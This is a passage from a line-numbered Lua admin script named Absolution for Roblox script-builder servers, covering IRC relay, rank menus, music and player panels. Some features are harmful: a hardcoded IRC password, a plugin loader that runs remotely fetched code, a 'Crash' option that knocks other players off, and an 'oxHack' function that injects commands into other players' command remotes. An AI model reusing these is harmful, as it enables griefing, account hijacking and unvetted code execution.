  1791. local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PONG :webchat.SwiftIRC.net")
  1792. if Ping ~= false then
  1793. return true
  1794. else
  1795. return false,"Something went wrong."
  1796. end
  1797. else
  1798. return false,"There is no connection with this nick and host."
  1799. end
  1800. end
  1801.  
  1802. Absolution.HttpConstants.IRC.IRCVerify = function(pName)
  1803. for i,v in pairs(Absolution.HttpConstants.IRC.whiteList) do
  1804. if pName == v then
  1805. return true
  1806. end
  1807. end
  1808. return false
  1809. end
  1810.  
  1811. Absolution.HttpConstants.IRC.Chat = function(msg,channel,playername)
  1812. if not Absolution.HttpConstants.IRC.Connection then return end
  1813. local c={Absolution.HttpConstants.IRC.API:SendMessage(Absolution.HttpConstants.IRC.Connection,channel and tostring(channel) or Absolution.HttpConstants.IRC.Name,(playername and playername..': ' or nil)..msg)}
  1814. if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
  1815. return "success"
  1816. end
  1817.  
  1818. Absolution.Functions.IRCLaunch = function()
  1819. local function Connect(Channel, con, event)
  1820. local c = {Absolution.HttpConstants.IRC.API:JoinChannel(con,Channel)}
  1821. if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
  1822. Absolution.Connections['IRCMessageReceived'] = Absolution.HttpConstants.IRC.API:MessageReceived(con,Channel, event)
  1823. Absolution.Connections['IRCUserJoined'] = Absolution.HttpConstants.IRC.API:UserJoined(con,Channel, event)
  1824. Absolution.Connections['IRCUserLeft'] = Absolution.HttpConstants.IRC.API:UserLeft(con,Channel, event)
  1825. end
  1826. Absolution.HttpConstants.IRC.Connection = Absolution.HttpConstants.IRC.API:Connect("https://qwebirc.swiftirc.net/", 'Absolution', 'lonewolf122221')
  1827. Connect(Absolution.HttpConstants.IRC.Name, Absolution.HttpConstants.IRC.Connection, Absolution.Handler.sendChat)
  1828. Absolution.HttpConstants.IRC.API:ChangeNick(Absolution.HttpConstants.IRC.Connection,'absolutionClient_'..Absolution.uniqueKey)
  1829. spawn(function()
  1830. while wait(5) do
  1831. if not Absolution then break end
  1832. Absolution.HttpConstants.IRC.API:KeepAlive(Absolution.HttpConstants.IRC.Connection)
  1833. end
  1834. end)
  1835. end
  1836.  
  1837. -- GetSplit & Dismiss --
  1838. Absolution.Functions.Dismiss = function(plr)
  1839. pcall(function()
  1840. if type(plr) == "string" and type(plr)~='userdata' then
  1841. plr = game:service'Players':findFirstChild(plr)
  1842. local pack = Absolution.Handler:sendPacket(plr, 'Dismiss')
  1843. return pack
  1844. elseif type(plr)=='userdata' then
  1845. local pack = Absolution.Handler:sendPacket(plr, 'Dismiss')
  1846. return pack
  1847. else
  1848. return 'wrong data type for plr'
  1849. end
  1850.  
  1851. --[[
  1852. for i,v in pairs(Absolution.Tablets) do
  1853. if v.Plr == plr then
  1854. coroutine.wrap(function()
  1855. for i = 0, 1, 0.1 do
  1856. pcall(function()
  1857. v.Tab.Transparency = i
  1858. v.Tab.BG.TL.TextStrokeTransparency = i
  1859. wait()
  1860. end)
  1861. end
  1862. v.Tab:Destroy()
  1863. end)()
  1864. Absolution.Tablets[i]=nil
  1865. end
  1866. end
  1867. --]]
  1868. end)
  1869. end
  1870.  
  1871. Absolution.Functions.GetSplit = function(Message)
  1872. local a = nil
  1873. for i = 1, #Message do
  1874. if Message:sub(i,i) == "-" then
  1875. a = i + 1
  1876. break
  1877. end
  1878. end
  1879. if a ~= nil then
  1880. return Message:sub(a)
  1881. else
  1882. return nil
  1883. end
  1884. end
  1885.  
  1886. -- Notifications --
  1887. Absolution.Functions.Notify = function(Message, Player, Color)
  1888. if Player and type(Player) == 'string' then Player = Absolution.Services.Players:findFirstChild(Player) end
  1889. Absolution.Handler.sendChat('[SERVER] '..Message, (Player and Player or nil), nil, Color)
  1890. local pseudoColor
  1891. if Color=='White' then
  1892. pseudoColor = 'Print'
  1893. elseif Color=='Red' then
  1894. pseudoColor = 'Error'
  1895. elseif Color=='Blue' then
  1896. pseudoColor='Run'
  1897. elseif Color=='Green' then
  1898. pseudoColor='Note'
  1899. elseif Color=='Orange' then
  1900. pseudoColor='Warn'
  1901. else
  1902. pseudoColor='Print'
  1903. end
  1904. Absolution.Functions.sbOutput('[SERVER] '..Message, pseudoColor)
  1905. end
  1906.  
  1907. -- getServerInfo --
  1908. Absolution.Functions.getServerInfo = function()
  1909. local rtnData = {}
  1910. local getAllInstances = function()
  1911. local finalInstanceCount = 0
  1912. local data = {}
  1913. local places = {'Workspace','Lighting','ReplicatedStorage','Teams','Players'}
  1914. recurse = function(place)
  1915. for i,v in pairs(place:children'') do
  1916. data[#data+1] = v
  1917. recurse(v)
  1918. end
  1919. return data
  1920. end
  1921. for nildata,place in pairs(places) do
  1922. for i,v in pairs(recurse(game:GetService(place))) do
  1923. finalInstanceCount=finalInstanceCount+1
  1924. end
  1925. end
  1926. return finalInstanceCount
  1927. end
  1928. local getAllPlayerLatencyRounded = function()
  1929. local prepareToRound = {}
  1930. local finalRound = 0
  1931. local toDivide = 0
  1932. for i,v in pairs(Absolution.Players) do
  1933. local data = v["FPS"]
  1934. table.insert(prepareToRound, data and data or 30)
  1935. end
  1936. for nildata,index in next,prepareToRound do
  1937. finalRound = finalRound+index
  1938. toDivide = toDivide+1
  1939. end
  1940. return (finalRound/toDivide)
  1941. end
  1942. local getNumData = function(data)
  1943. local rtn = 0
  1944. for i,v in next,data do
  1945. rtn = rtn + 1
  1946. end
  1947. return rtn
  1948. end
  1949. local getNumAdmins = function()
  1950. local adminCount = 0
  1951. for i,v in next,Absolution.Ranked do
  1952. if v.Rank ==6 then
  1953. adminCount = adminCount + 1
  1954. end
  1955. end
  1956. return adminCount
  1957. end
  1958. local getNumMods = function()
  1959. local adminCount = 0
  1960. for i,v in next,Absolution.Ranked do
  1961. if v.Rank ==4 then
  1962. adminCount = adminCount + 1
  1963. end
  1964. end
  1965. return adminCount
  1966. end
  1967. local getNumStaff = function()
  1968. local adminCount = 0
  1969. for i,v in next,Absolution.Ranked do
  1970. if v.Rank >=4 then
  1971. adminCount = adminCount + 1
  1972. end
  1973. end
  1974. return adminCount
  1975. end
  1976. local getNumBanned = function()
  1977. local bannedPlayers = 0
  1978. for i,v in next,Absolution.Ranked do
  1979. if v.Rank < 0 then
  1980. bannedPlayers = bannedPlayers+1
  1981. end
  1982. end
  1983. return bannedPlayers
  1984. end
  1985. local getAdminsInGame = function()
  1986. local allAdmins = {}
  1987. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  1988. local pRank = Absolution.Functions:findRank(v)
  1989. if pRank >=4 then
  1990. table.insert(allAdmins, tostring(v))
  1991. end
  1992. end
  1993. return allAdmins
  1994. end
  1995. rtnData["RanBy"] = (tostring(Absolution.ranBy))
  1996. rtnData["PrivateServer"],rtnData["Server Lock"],rtnData["ScriptLock"] = Absolution.PrivateServer.Enabled,Absolution.Locks.Server.Locked,(Absolution.Locks.Server.Local and Absolution.Locks.Server)
  1997. rtnData["HttpEnabled"] = (Absolution.HttpConstants.HttpEnabled)
  1998. rtnData["#Connections"] = (getNumData(Absolution.Connections))
  1999. rtnData["#Functions"] = (getNumData(Absolution.Functions))
  2000. rtnData["#Commands"] = (getNumData(Absolution.Commands))
  2001. rtnData["#Admins"] = (getNumAdmins())
  2002. rtnData["#Moderators"] = (getNumMods())
  2003. rtnData["#Staff"] = (getNumStaff())
  2004. rtnData["#Banned"] = (getNumBanned())
  2005. rtnData["Admins In-Game"] = (table.concat(getAdminsInGame(), ':'))
  2006. rtnData["#Ranked Players"] = (getNumData(Absolution.Ranked))
  2007. rtnData["Players"] = (#Absolution.Functions.getALLPlayers())
  2008. rtnData["ServerLatency"] = (1/wait())
  2009. rtnData["ServerUptime"] = (Absolution.Functions.GetTime(game.Workspace.DistributedGameTime))
  2010. rtnData["InstanceCount"] = (getAllInstances())
  2011. rtnData["AbsolutionHandler"] = (Absolution.Handler.SERVER:GetFullName())
  2012. return rtnData
  2013. end
  2014.  
  2015. --tropkillaz
  2016.  
  2017. -- PlayAudio --
  2018. Absolution.Functions.PlayAudio = function(Player,Id)
  2019. Absolution.Functions.Dismiss(Player)
  2020. for _, Child in pairs(Absolution.Services.Workspace:GetChildren()) do if Child:IsA("Sound") then Child:stop() Child:Destroy() end end
  2021. if Absolution.Music.isPlaying then Absolution.Music.currentSong:Stop() Absolution.Music.isPlaying = false end
  2022. local Sound = Absolution.Functions:Create("Sound",{Parent = workspace,Volume = 1, Looped = true, Pitch = 1, SoundId = "rbxassetid://"..Id})
  2023. Sound:Play()
  2024. Absolution.Music.isPlaying = true
  2025. Absolution.Music.currentSong = Sound
  2026. Absolution.Functions.Out(Player,"Now playing:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name,2)
  2027. Absolution.Functions.Out(Player,"Creator:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Creator.Name,2)
  2028. Absolution.Functions.Out(Player,"Sales:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Sales,2)
  2029. Absolution.Functions.Output(Player,"Buy:\n"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name.."?",nil,function() Absolution.Services.MarketplaceService:PromptPurchase(Player,Id) end)
  2030. Absolution.Functions.Output(Player,"Music settings",nil,function()
  2031. Absolution.Functions.Dismiss(Player)
  2032. local Return
  2033. Return = function()
  2034. Absolution.Functions.Dismiss(Player)
  2035. Absolution.Functions.Output(Player, "Set Volume", nil, function()
  2036. Absolution.Functions.Dismiss(Player)
  2037. for Volume = 0, 1, .1 do
  2038. Absolution.Functions.Output(Player, Volume, nil, function()
  2039. Absolution.Functions.Dismiss(Player)
  2040. Sound.Volume = Volume
  2041. end)
  2042. end
  2043. Absolution.Functions.Output(Player, "Back", "Bright red", Return)
  2044. end)
  2045. Absolution.Functions.Output(Player, "Stop Song", nil,function()
  2046. Absolution.Functions.Dismiss(Player)
  2047. Sound:Stop()
  2048. wait()
  2049. Sound:Destroy()
  2050. end)
  2051. end
  2052. Return()
  2053. end)
  2054. end
  2055.  
  2056. -- Plugins --
  2057. Absolution.PluginManager.Launch = function()
  2058. local p = Absolution.PluginManager -- it would take too long to do this in a sexy manner...
  2059. local o = Absolution.Functions.Output
  2060. p.addPlugin = function(self, module)
  2061. local m=require(module)
  2062. if not type(m)=='table' then return 'This module cannot run as a '..type(m)..'!'end
  2063. local Title=m["packTitle"]
  2064. local Version=m["currentVersion"]
  2065. local CommandPack=m["commandFunctions"]
  2066. if not Title then Title='Undefined'end
  2067. if not Version then Version = 1 end
  2068. if not CommandPack then return'No commands were found!'end
  2069. for i,v in pairs(CommandPack) do
  2070. local cmd = i
  2071. local tbl = v
  2072. local success, yourlifeisafail = ypcall(function()
  2073. Absolution.Functions.Command(cmd, tbl.Uses, tbl.Rank, tbl.Description, tbl.Flags, tbl.Function)
  2074. end)
  2075. if not success then
  2076. o('Admins',tostring(module)..' encountered an error during startup...','Really red',function(dismissed)
  2077. Absolution.Functions.Dismiss(dismissed)
  2078. o(dismissed, 'ERROR: '..yourlifeisafail)
  2079. o(dismissed, 'Module: '..tostring(module))
  2080. o(dismissed, 'packTitle: '..Title)
  2081. o(dismissed, 'packRevision: '..Version)
  2082. end)
  2083. else
  2084. self[cmd] = tbl
  2085. end
  2086. end
  2087. end
  2088. local rtn = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.pluginLink)
  2089. if rtn then
  2090. local mods = loadstring(rtn)()
  2091. wait''
  2092. if Absolution.PluginManager.Modules then
  2093. local modz= Absolution.PluginManager.Modules
  2094. for i,v in pairs(modz) do
  2095. Absolution.PluginManager:addPlugin(v)
  2096. end
  2097. end
  2098. end
  2099. end
  2100.  
  2101. -- HttpGet --
  2102. Absolution.Functions.HttpGet = function(URL)
  2103. return (Absolution.HttpConstants.HttpEnabled and Absolution.Services.HttpService:GetAsync(URL) or "HTTP Requests are not enabled")
  2104. end
  2105.  
  2106. -- GetCatalog --
  2107. Absolution.Functions.GetCatalog = function(KeyWords, Category)
  2108. local KeyWords = Absolution.Services.HttpService:UrlEncode(KeyWords)
  2109. local URL = Absolution.HttpConstants.IP..Absolution.HttpConstants.APIs.Music..'?Keyword='..tostring(KeyWords)..'&Category='..tostring(Category)
  2110. print(URL)
  2111. return Absolution.Services.HttpService:JSONDecode(Absolution.Functions.HttpGet(URL))
  2112. end
  2113.  
  2114. -- ShowCommands --
  2115. Absolution.Functions.ShowCommands = function(Speaker, fr)
  2116. local sRank = Absolution.Functions:findRank(tostring(Speaker))
  2117. Absolution.Functions.Dismiss(Speaker)
  2118. Absolution.Functions.OpenCmds = function(Rank, Speaker)
  2119. Absolution.Functions.Dismiss(Speaker)
  2120. for Name,Tab in pairs(Absolution.Commands) do
  2121. if Tab.Rank == Rank and Tab.Rank >= 0 then
  2122. Absolution.Functions.Output(Speaker, Name, nil, function()
  2123. Absolution.Functions.Dismiss(Speaker)
  2124. Absolution.Functions.Output(Speaker, "Name: "..Name)
  2125. Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
  2126. Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
  2127. Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
  2128. Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
  2129. Absolution.Functions.Output(Speaker, (Tab.Rank <= Rank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= Rank and 'Lime green' or 'Really red'))
  2130. Absolution.Functions.Output(Speaker, "Dismiss")
  2131. end)
  2132. elseif Rank == "usage" and Tab.Rank <=Absolution.Functions:findRank(Speaker.Name) then
  2133. Absolution.Functions.Output(Speaker, Name, nil, function()
  2134. Absolution.Functions.Dismiss(Speaker)
  2135. Absolution.Functions.Output(Speaker, "Name: "..Name)
  2136. Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
  2137. Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
  2138. Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
  2139. Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
  2140. Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
  2141. Absolution.Functions.Output(Speaker, "Dismiss")
  2142. end)
  2143. elseif Rank == "all" and Tab.Rank >= 0 then
  2144. Absolution.Functions.Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
  2145. Absolution.Functions.Dismiss(Speaker)
  2146. Absolution.Functions.Output(Speaker, "Name: "..Name)
  2147. Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
  2148. Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
  2149. Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
  2150. Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
  2151. Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
  2152. Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.OpenCmds("all", Speaker) end)
  2153. Absolution.Functions.Output(Speaker, "Dismiss")
  2154. end)
  2155. end
  2156. end
  2157. -- wait()
  2158. Absolution.Functions.Output(Speaker, "Dismiss", nil)
  2159. Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.ShowCommands(Speaker) end)
  2160. end
  2161. local Rank = Absolution.Functions:findRank(tostring(Speaker))
  2162. local frnk = (fr and fr or nil)
  2163. if frnk then
  2164. Absolution.Functions.OpenCmds(frnk, Speaker)
  2165. else
  2166. for _,v in pairs(Absolution.Ranks) do
  2167. if ((Rank >= _) and (_ >= 0)) then
  2168. Absolution.Functions.Output(Speaker, v..'('.._..')', nil, function() Absolution.Functions.OpenCmds(_, Speaker) end)
  2169. end
  2170. end
  2171. Absolution.Functions.Output(Speaker, "Commands you can use", 'Lime green', function() Absolution.Functions.OpenCmds("usage", Speaker) end)
  2172. Absolution.Functions.Output(Speaker, "All", nil, function() Absolution.Functions.OpenCmds("all", Speaker) end)
  2173. Absolution.Functions.Output(Speaker, "Dismiss")
  2174. end
  2175. end
  2176.  
  2177. -- nickName --
  2178. Absolution.Functions.nickName = function(playerName, nickName)
  2179.  
  2180. Absolution.Nicknames[playerName] = nickName
  2181.  
  2182. local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
  2183.  
  2184. local key = "user_" .. playerName
  2185.  
  2186. DataStore:UpdateAsync(key, function(oldValue)
  2187. local newValue = nickName
  2188. return newValue
  2189. end)
  2190.  
  2191. end
  2192.  
  2193.  
  2194. Absolution.Functions.GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
  2195. Absolution.Functions.Dismiss(Speaker)
  2196. if type(Player) == "userdata" then
  2197. Player = Player.Name
  2198. end
  2199. Absolution.Functions.GetRankedPlayer = function(i)
  2200. if type(i) == "userdata" then
  2201. i = i.Name
  2202. end
  2203. Absolution.Functions.Dismiss(Speaker)
  2204. Absolution.Functions.Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
  2205. ypcall(function()
  2206. Absolution.Functions.Output(Speaker, "Age: "..Absolution.Services.Players[i].AccountAge)
  2207. Absolution.Functions.Output(Speaker, "userId: "..Absolution.Services.Players[i].userId)
  2208. end)
  2209. Absolution.Functions.Output(Speaker, "Rank: "..Absolution.Functions:findRank(i))
  2210. Absolution.Functions.Output(Speaker, "View Other Infomation", "Deep orange", function()
  2211. Absolution.Functions.Output(Speaker, "Color: "..Absolution.Functions.getRankedTable(i).Color or "N/A")
  2212. Absolution.Functions.Output(Speaker, "Distance: "..Absolution.Functions.getRankedTable(i).Distance or "N/A")
  2213. Absolution.Functions.Output(Speaker, "Description: "..Absolution.Functions.getRankedTable(i).Description or "N/A")
  2214. end)
  2215. if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) and Absolution.Functions:findRank(Speaker)>5 then
  2216. Absolution.Functions.Output(Speaker, "Set Rank", "Mid gray", function()
  2217. Absolution.Functions.Dismiss(Speaker)
  2218. Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' is setting your rank.')
  2219. for __,v in pairs(Absolution.Ranks) do
  2220. if __ < Absolution.Functions:findRank(Speaker) and (__>=0) then
  2221. Absolution.Functions.Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
  2222. Absolution.Functions.GetRankedInterface(Speaker)
  2223. Absolution.Functions.getRankedTable(i).Rank = __
  2224. Absolution.Functions.syncRankOut(i)
  2225. Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' changed your access level to '..Absolution.Ranks[__], nil)
  2226. end)
  2227. end
  2228. end
  2229. end)
  2230. end
  2231. if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) or i == Speaker.Name then
  2232. Absolution.Functions.Output(Speaker, "User Settings", "Mid gray", function()
  2233. Absolution.Functions.Output(Speaker, "Set Color", "Mid gray", function()
  2234. Absolution.Functions.Dismiss(Speaker)
  2235. for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
  2236. Absolution.Functions.Output(Speaker, c, c, function()
  2237. Absolution.Functions.Dismiss(Speaker)
  2238. Absolution.Functions.getRankedTable(i).Color = c
  2239. Absolution.Functions.GetRankedInterface(Speaker)
  2240. end)
  2241. end
  2242. end)
  2243. Absolution.Functions.Output(Speaker, "Set Tablet Type", "Mid gray", function()
  2244. Absolution.Functions.Dismiss(Speaker)
  2245. Absolution.Functions.Output(Speaker, 'Box', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Box' end)
  2246. Absolution.Functions.Output(Speaker, 'Normal', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Normal' end)
  2247. end)
  2248. Absolution.Functions.Output(Speaker, "Set Distance", "Mid gray", function()
  2249. Absolution.Functions.Dismiss(Speaker)
  2250. for z = 1, 30 do
  2251. Absolution.Functions.Output(Speaker, z, nil, function()
  2252. Absolution.Functions.Dismiss(Speaker)
  2253. Absolution.Functions.getRankedTable(i).Distance = z
  2254. Absolution.Functions.GetRankedInterface(Speaker)
  2255. end)
  2256. end
  2257. end)
  2258. end)
  2259. end
  2260. Absolution.Functions.Output(Speaker, "Back To Ranked", "Really blue", function() Absolution.Functions.GetRankedInterface(Speaker) end)
  2261. Absolution.Functions.Output(Speaker, "Back To Players", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
  2262. Absolution.Functions.Output(Speaker, "Dismiss")
  2263. end
  2264. Absolution.Functions.getAllRanked = function(Speaker, str)
  2265. Absolution.Functions.Dismiss(Speaker)
  2266. local Found = {}
  2267. for index,data in next, Absolution.Ranked do
  2268. if Absolution.Functions:findRank(Speaker) >= data.Rank and (str and data:lower():find(str:lower()) or true) then
  2269. Found[#Found+1] = index
  2270. end
  2271. end
  2272. local function PageHandler(Speaker,tbl,pg,calc,maxpg)
  2273. local List,Page,MaxPage=tbl,pg,maxpg
  2274. if Page == 0 then
  2275. Page = 1
  2276. end
  2277. local function GetArray(table,start,_end,maxpage)
  2278. local Array = {}
  2279. if start == 0 then
  2280. start = 1
  2281. end
  2282. for i = start,_end do
  2283. Array[#Array+1]=table[i]
  2284. end
  2285. return Array
  2286. end
  2287. local function Redo(pg)
  2288. Absolution.Functions.Dismiss(Speaker)
  2289. for index,data in pairs(GetArray(List,(Page-1)*calc,Page*calc,maxpg)) do
  2290. Absolution.Functions.Output(Speaker, (data and data or 'Nil Data'), Absolution.Functions.getRankedTable(data).Color, function() Absolution.Functions.GetRankedInterface(Speaker, data) end)
  2291. end
  2292. if pg < maxpg then
  2293. Absolution.Functions.Output(Speaker, "Next Page","New Yeller",function()
  2294. Page = Page + 1
  2295. Redo(Page)
  2296. end)
  2297. end
  2298. if pg > 1 then
  2299. Absolution.Functions.Output(Speaker, "Back Page","New Yeller",function()
  2300. Page = Page - 1
  2301. Redo(Page)
  2302. end)
  2303. end
  2304. Absolution.Functions.Output(Speaker, "Page: "..Page.."/"..maxpg,"New Yeller")
  2305. end
  2306. Redo(Page)
  2307. end
  2308. local mr = Absolution.Constants.MaxResults
  2309. if #Found > mr then
  2310. PageHandler(Speaker,Found,1,mr,math.floor(#Found/mr))
  2311. end
  2312. end
  2313. if Player ~= nil then
  2314. Absolution.Functions.GetRankedPlayer(Player)
  2315. else
  2316. Absolution.Functions.getAllRanked(Speaker)
  2317. end
  2318. end
  2319.  
  2320.  
  2321.  
  2322. -- ShowData --
  2323. Absolution.Functions.ShowData = function(Speaker, Player)
  2324. if Player then
  2325. Absolution.Functions.Dismiss(Speaker)
  2326. local tPlr = tostring(Player)
  2327. local pData = Absolution.Handler:sendPacket(Player, 'DATA')
  2328. local FPS = pData["FPS"]
  2329. local TIME = pData["TIME"]
  2330. local LOGS = pData["LOGS"]
  2331. local RAP = Absolution.Functions.getRap(Player)
  2332. Absolution.Functions.Output(Speaker, 'Stats', Absolution.Functions.getRankedTable(tPlr).Color, function()
  2333. Absolution.Functions.Dismiss(Speaker)
  2334. Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
  2335. Absolution.Functions.pseudoOutputFunction(Speaker, 'FPS: '..FPS, 'White')
  2336. Absolution.Functions.pseudoOutputFunction(Speaker, 'TIME: '..TIME, 'White')
  2337. Absolution.Functions.pseudoOutputFunction(Speaker, 'RAP: '..RAP,'White')
  2338. Absolution.Functions.pseudoOutputFunction(Speaker, 'Stats for '..tostring(Player), 'Bright yellow')
  2339. end)
  2340. if Absolution.Ranked[tostring(Speaker)].Rank >=8 then
  2341. Absolution.Functions.Output(Speaker, 'Logs', Absolution.Functions.getRankedTable(tPlr).Color, function()
  2342. Absolution.Functions.Dismiss(Speaker)
  2343. Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
  2344. for i,v in pairs(LOGS) do
  2345. Absolution.Functions.Output(Speaker,i,'Random',function()
  2346. Absolution.Functions.Dismiss(Speaker)
  2347. Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
  2348. for f,g in pairs(v) do
  2349. Absolution.Functions.Output(Speaker,f..' = '..g)
  2350. end
  2351. end)
  2352. end
  2353. end)
  2354. end
  2355. else
  2356. Absolution.Functions.ShowData(Speaker, Speaker)
  2357. end
  2358. end
  2359.  
  2360. -- isIgnoring --
  2361. Absolution.Functions.IsIgnoring = function(pName)
  2362. for q,e in next,Absolution.Ignoring do
  2363. if e==pName then
  2364. return true
  2365. end
  2366. end
  2367. return false
  2368. end
  2369.  
  2370. -- setIgnore --
  2371. Absolution.Functions.SetIgnore = function(pName)
  2372. table.insert(Absolution.Ignoring, pName)
  2373. return true
  2374. end
  2375.  
  2376. -- stopIgnore --
  2377. Absolution.Functions.StopIgnore = function(pName)
  2378. for q,e in next,Absolution.Ignoring do
  2379. if e==pName then
  2380. table.remove(Absolution.Ignoring, q)
  2381. return true
  2382. end
  2383. end
  2384. return false
  2385. end
  2386.  
  2387. -- getRankedTable --
  2388. Absolution.Functions.getRankedTable = function(plr)
  2389. if type(plr)=='userdata' then plr=tostring(plr) end
  2390. local data
  2391. data = Absolution.Ranked[plr]
  2392. return data
  2393. end
  2394.  
  2395. -- ShowPlayers --
  2396. Absolution.Functions.ShowPlayers = function(Speaker)
  2397. Absolution.Functions.Dismiss(Speaker)
  2398. for _,v in pairs(Absolution.Functions.getALLPlayers()) do
  2399. if v.Parent == Absolution.Services.Players then
  2400. Absolution.Functions.Output(Speaker, v.Name..'['..Absolution.Functions:findRank(v)..']', nil, function()
  2401. Absolution.Functions.Dismiss(Speaker)
  2402. Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
  2403. Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
  2404. Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
  2405. Absolution.Functions.Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function()
  2406. Absolution.Functions.GetRankedInterface(Speaker, v.Name)
  2407. end)
  2408. Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
  2409. Absolution.Functions.Output(Speaker, "Dismiss")
  2410. end)
  2411. else
  2412. Absolution.Functions.Output(Speaker, "nil-"..v.Name, nil, function()
  2413. Absolution.Functions.Dismiss(Speaker)
  2414. Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
  2415. Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
  2416. Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
  2417. if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v.Name) then
  2418. Absolution.Functions.Output(Speaker, "Crash", "White", function()
  2419. Absolution.Functions.Dismiss(Speaker)
  2420. local dc = Absolution.Handler:sendPacket(v, 'rejoin')
  2421. coroutine.resume(coroutine.create(function()
  2422. wait(0.5)
  2423. if dc then
  2424. Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
  2425. Absolution.Functions.Announce('CRASHED: '..(v.Name and v.Name or 'undefined/error'))
  2426. else
  2427. Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
  2428. Absolution.Functions.Announce('FAILED TO CRASH:'..(v.Name and v.Name or 'undefined/error'))
  2429. end
  2430. end))
  2431. end)
  2432. end
  2433. Absolution.Functions.Output(Speaker, "To Ranked Interface", "Really blue", function()
  2434. Absolution.Functions.GetRankedInterface(Speaker, v.Name)
  2435. end)
  2436. Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
  2437. Absolution.Functions.Output(Speaker, "Dismiss")
  2438. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  2439. end
  2440. end
  2441. Absolution.Functions.Output(Speaker, "Dismiss")
  2442. end
  2443.  
  2444. -- oxHack --
  2445. Absolution.Functions.sbExe = function(cmd,plr)
  2446. if not type(cmd)=='string'then return end
  2447. if plr then
  2448. if type(plr)=='userdata'then
  2449. pcall(function()
  2450. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  2451. end)
  2452. elseif type(plr)=='string'then
  2453. pcall(function()
  2454. plr = game:GetService('Players'):FindFirstChild(plr)
  2455. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  2456. end)
  2457. end
  2458. else
  2459. for i,v in pairs(game:GetService('Players'):children())do
  2460. pcall(function()
  2461. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
